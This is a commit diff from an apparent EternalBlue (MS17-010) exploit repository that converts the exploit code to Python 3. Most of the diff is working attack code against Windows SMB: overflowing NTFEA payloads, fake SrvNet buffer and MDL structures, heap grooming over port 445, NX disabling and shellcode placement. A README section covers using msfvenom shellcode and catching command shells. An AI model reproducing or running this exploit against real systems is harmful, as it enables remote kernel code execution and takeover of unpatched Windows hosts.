Upgrading code to support python3 (#20)

* upgrading code to support python3

* add requirements/dependency clarification

Co-authored-by: 3ndG4me <3ndG4me@protonmail.com>
This commit is contained in:
Casey Erdmann
2020-10-10 16:37:53 -04:00
committed by GitHub
co-authored by 3ndG4me
parent 55bdb3f88d
commit 4381d6a643
6 changed files with 89 additions and 75 deletions
+14 -1
View File
@@ -11,8 +11,21 @@ Included is also an enternal blue checker script that allows you to test if your
run `python eternal_checker.py <TARGET-IP>` run `python eternal_checker.py <TARGET-IP>`
# Requirements
Core exploit code requires impacket and the `mysmb.py` library (included with the repo). To install any requirements simply use pip on the `requirements.txt` file. It's always recommended you use a virtual environment like `venv` when installing python dependencies, but use whatever you like.
Additionally, the helper scripts below require the Metasploit Framework to be installed. At minimum you will need `msfvenom` for the `shell_prep.sh` but stageless command shells can be caught like any normal command shell without the use of Metasploit's multi/handler. Otherwise, simply install the metasploit framework and insure it is in your path.
Keep in mind `python2` is *not* officially supported anymore. The original exploit code that is provided was initially built for python2, going forward any errors discovered will be adjusted for insuring the code works with python3 instead of python2. Instructions below assume python/pip are `python3` by default, so if you are using `python2` update based on your own paths when necessary and remember, it is *NOT* officially supported by this repo.
## Python2
`pip2.7 install -r requirements.txt`
## Python3
`pip install -r requirements.txt`
## TODO: ## TODO:
1. Testing with non-msfvenom shellcode - [x] Validate python3 compatibility
- [ ] Testing with non-msfvenom shellcode
## VIDEO TUTORIALS: ## VIDEO TUTORIALS:
- https://www.youtube.com/watch?v=p9OnxS1oDc0 - https://www.youtube.com/watch?v=p9OnxS1oDc0
+27 -27
View File
@@ -86,9 +86,9 @@ PASSWORD=''
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000 # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000 NTFEA_SIZE = 0x9000
ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80 ntfea9000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x260 # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c ntfea9000 += pack('<BBH', 0, 0, 0x735c) + b'\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR ntfea9000 += pack('<BBH', 0, 0, 0x8147) + b'\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
''' '''
Reverse from srvnet.sys (Win2012 R2 x64) Reverse from srvnet.sys (Win2012 R2 x64)
@@ -179,15 +179,15 @@ TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
# MappedSystemVa = PTE_ADDR+7 - 0x7f # MappedSystemVa = PTE_ADDR+7 - 0x7f
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000 SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12) PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
fakeSrvNetBufferX64Nx = '\x00'*16 fakeSrvNetBufferX64Nx = b'\x00'*16
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
fakeSrvNetBufferX64Nx += '\x00'*16 fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16 fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0) fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0) fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += '\x00'*16 fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16 fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
@@ -201,15 +201,15 @@ feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
def createFakeSrvNetBuffer(sc_size): def createFakeSrvNetBuffer(sc_size):
# 0x180 is size of fakeSrvNetBufferX64 # 0x180 is size of fakeSrvNetBufferX64
totalRecvSize = 0x80 + 0x180 + sc_size totalRecvSize = 0x80 + 0x180 + sc_size
fakeSrvNetBufferX64 = '\x00'*16 fakeSrvNetBufferX64 = b'\x00'*16
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _ fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
fakeSrvNetBufferX64 += '\x00'*16 fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40 fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', 0, 0) fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
fakeSrvNetBufferX64 += '\x00'*16 fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += '\x00'*16 fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
return fakeSrvNetBufferX64 return fakeSrvNetBufferX64
@@ -235,14 +235,14 @@ def createFeaList(sc_size):
# #
# code path to get code exection after this struct is controlled # code path to get code exection after this struct is controlled
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr # SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = ('\x00'*16)*5 fake_recv_struct = (b'\x00'*16)*5
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself) fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60 fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
fake_recv_struct += ('\x00'*16)*10 fake_recv_struct += (b'\x00'*16)*10
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150 fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130 fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
fake_recv_struct += ('\x00'*16)*3 fake_recv_struct += (b'\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
@@ -303,7 +303,7 @@ def createSessionAllocNonPaged(target, size):
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20 sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
pkt.addCommand(sessionSetup) pkt.addCommand(sessionSetup)
conn.sendSMB(pkt) conn.sendSMB(pkt)
@@ -325,7 +325,7 @@ def createSessionAllocNonPaged(target, size):
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD)) pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
# UnicodePasswordLen field is in Reserved for extended security format. # UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode) sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16 sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + b'\x00'*16
pkt.addCommand(sessionSetup) pkt.addCommand(sessionSetup)
conn.sendSMB(pkt) conn.sendSMB(pkt)
@@ -375,7 +375,7 @@ def send_trans2_second(conn, tid, data, displacement):
if len(data) > 0: if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4 pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len transCommand['Data']['Pad2'] = b'\xFF' * pad2Len
else: else:
transCommand['Data']['Pad2'] = '' transCommand['Data']['Pad2'] = ''
pad2Len = 0 pad2Len = 0
@@ -412,7 +412,7 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
fixedOffset = 32+3+38 + len(command) fixedOffset = 32+3+38 + len(command)
if len(param) > 0: if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4 padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen padBytes = b'\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes transCommand['Data']['Pad1'] = padBytes
else: else:
transCommand['Data']['Pad1'] = '' transCommand['Data']['Pad1'] = ''
@@ -423,7 +423,7 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
if len(data) > 0: if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len transCommand['Data']['Pad2'] = b'\xFF' * pad2Len
else: else:
transCommand['Data']['Pad2'] = '' transCommand['Data']['Pad2'] = ''
pad2Len = 0 pad2Len = 0
@@ -462,19 +462,19 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
# this method is for allocating big nonpaged pool on target # this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False): def createConnectionWithBigSMBFirst80(target, for_nx=False):
sk = socket.create_connection((target, 445)) sk = socket.create_connection((target, 445))
pkt = '\x00' + '\x00' + pack('>H', 0x8100) pkt = b'\x00' + b'\x00' + pack('>H', 0x8100)
# There is no need to be SMB2 because we want the target free the corrupted buffer. # There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message. # Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS # I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2 #pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid # it can be anything even it is invalid
pkt += 'BAAD' # can be any pkt += b'BAAD' # can be any
if for_nx: if for_nx:
# MUST set no delay because 1 byte MUST be sent immediately # MUST set no delay because 1 byte MUST be sent immediately
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX pkt += b'\x00'*0x7b # another byte will be sent later to disabling NX
else: else:
pkt += '\x00'*0x7c pkt += b'\x00'*0x7c
sk.send(pkt) sk.send(pkt)
return sk return sk
@@ -498,13 +498,13 @@ def exploit(target, shellcode, numGroomConn):
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False) progress = send_big_trans2(conn, tid, 0, feaList, b'\x00'*30, len(feaList)%4096, False)
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX # Another TRANS2_OPEN2 (0) with special feaList for disabling NX
nxconn = smb.SMB(target, target) nxconn = smb.SMB(target, target)
nxconn.login(USERNAME, PASSWORD) nxconn.login(USERNAME, PASSWORD)
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False) nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, b'\x00'*30, len(feaList)%4096, False)
# create some big buffer at server # create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer # this buffer MUST NOT be big enough for overflown buffer
@@ -545,7 +545,7 @@ def exploit(target, shellcode, numGroomConn):
# one of srvnetConn struct header should be modified # one of srvnetConn struct header should be modified
# send '\x00' to disable nx # send '\x00' to disable nx
for sk in srvnetConn: for sk in srvnetConn:
sk.send('\x00') sk.send(b'\x00')
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# second trigger, place fake struct and shellcode # second trigger, place fake struct and shellcode
+18 -18
View File
@@ -73,13 +73,13 @@ Shellcode note:
NTFEA_SIZE = 0x11000 NTFEA_SIZE = 0x11000
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page # the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + b'A'*0xffde
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20 ntfea11000 = (pack('<BBH', 0, 0, 0) + b'\x00')*600 # with these fea, ntfea size is 0x1c20
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + b'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0 ntfea1f000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + b'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 } ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
@@ -157,7 +157,7 @@ TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2 fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2 fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += '\x00'*16 fakeSrvNetBufferNsa += b'\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20) fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
@@ -171,9 +171,9 @@ fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Proc
# this is for show what fields need to be modified # this is for show what fields need to be modified
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2 fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0) fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
fakeSrvNetBufferX64 += '\x00'*16 fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += '\x00'*16 fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += '\x00'*16 # 0x40 fakeSrvNetBufferX64 += b'\x00'*16 # 0x40
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2 fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
@@ -204,16 +204,16 @@ feaList += pack('<BBH', 0x12, 0x34, 0x5678)
# code path to get code exection after this struct is controlled # code path to get code exection after this struct is controlled
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr # SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = pack('<QII', 0, 3, 0) fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += '\x00'*16 fake_recv_struct += b'\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0) fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += ('\x00'*16)*7 fake_recv_struct += (b'\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself) fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
fake_recv_struct += '\x00'*16 fake_recv_struct += b'\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
fake_recv_struct += ('\x00'*16)*11 fake_recv_struct += (b'\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86 fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
fake_recv_struct += ('\x00'*16)*3 fake_recv_struct += (b'\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one) fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
@@ -292,7 +292,7 @@ def createSessionAllocNonPaged(target, size):
# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20 sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
pkt.addCommand(sessionSetup) pkt.addCommand(sessionSetup)
conn.sendSMB(pkt) conn.sendSMB(pkt)
@@ -456,14 +456,14 @@ def createConnectionWithBigSMBFirst80(target):
# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too. # Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
sk = socket.create_connection((target, 445)) sk = socket.create_connection((target, 445))
# For this exploit, use size is 0x11000 # For this exploit, use size is 0x11000
pkt = '\x00' + '\x00' + pack('>H', 0xfff7) pkt = b'\x00' + b'\x00' + pack('>H', 0xfff7)
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer. # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
# Also this is invalid SMB2 message. # Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS # I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2 #pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid # it can be anything even it is invalid
pkt += 'BAAD' # can be any pkt += b'BAAD' # can be any
pkt += '\x00'*0x7c pkt += b'\x00'*0x7c
sk.send(pkt) sk.send(pkt)
return sk return sk
+26 -26
View File
@@ -55,9 +55,9 @@ PASSWORD=''
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000 # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000 NTFEA_SIZE = 0x9000
ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80 ntfea9000 = (pack('<BBH', 0, 0, 0) + b'\x00')*0x260 # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c ntfea9000 += pack('<BBH', 0, 0, 0x735c) + b'\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR ntfea9000 += pack('<BBH', 0, 0, 0x8147) + b'\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
''' '''
Reverse from srvnet.sys (Win2012 R2 x64) Reverse from srvnet.sys (Win2012 R2 x64)
@@ -148,15 +148,15 @@ TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
# MappedSystemVa = PTE_ADDR+7 - 0x7f # MappedSystemVa = PTE_ADDR+7 - 0x7f
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000 SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12) PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
fakeSrvNetBufferX64Nx = '\x00'*16 fakeSrvNetBufferX64Nx = b'\x00'*16
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
fakeSrvNetBufferX64Nx += '\x00'*16 fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16 fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0) fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0) fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += '\x00'*16 fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16 fakeSrvNetBufferX64Nx += b'\x00'*16
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
@@ -170,15 +170,15 @@ feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
def createFakeSrvNetBuffer(sc_size): def createFakeSrvNetBuffer(sc_size):
# 0x180 is size of fakeSrvNetBufferX64 # 0x180 is size of fakeSrvNetBufferX64
totalRecvSize = 0x80 + 0x180 + sc_size totalRecvSize = 0x80 + 0x180 + sc_size
fakeSrvNetBufferX64 = '\x00'*16 fakeSrvNetBufferX64 = b'\x00'*16
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _ fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
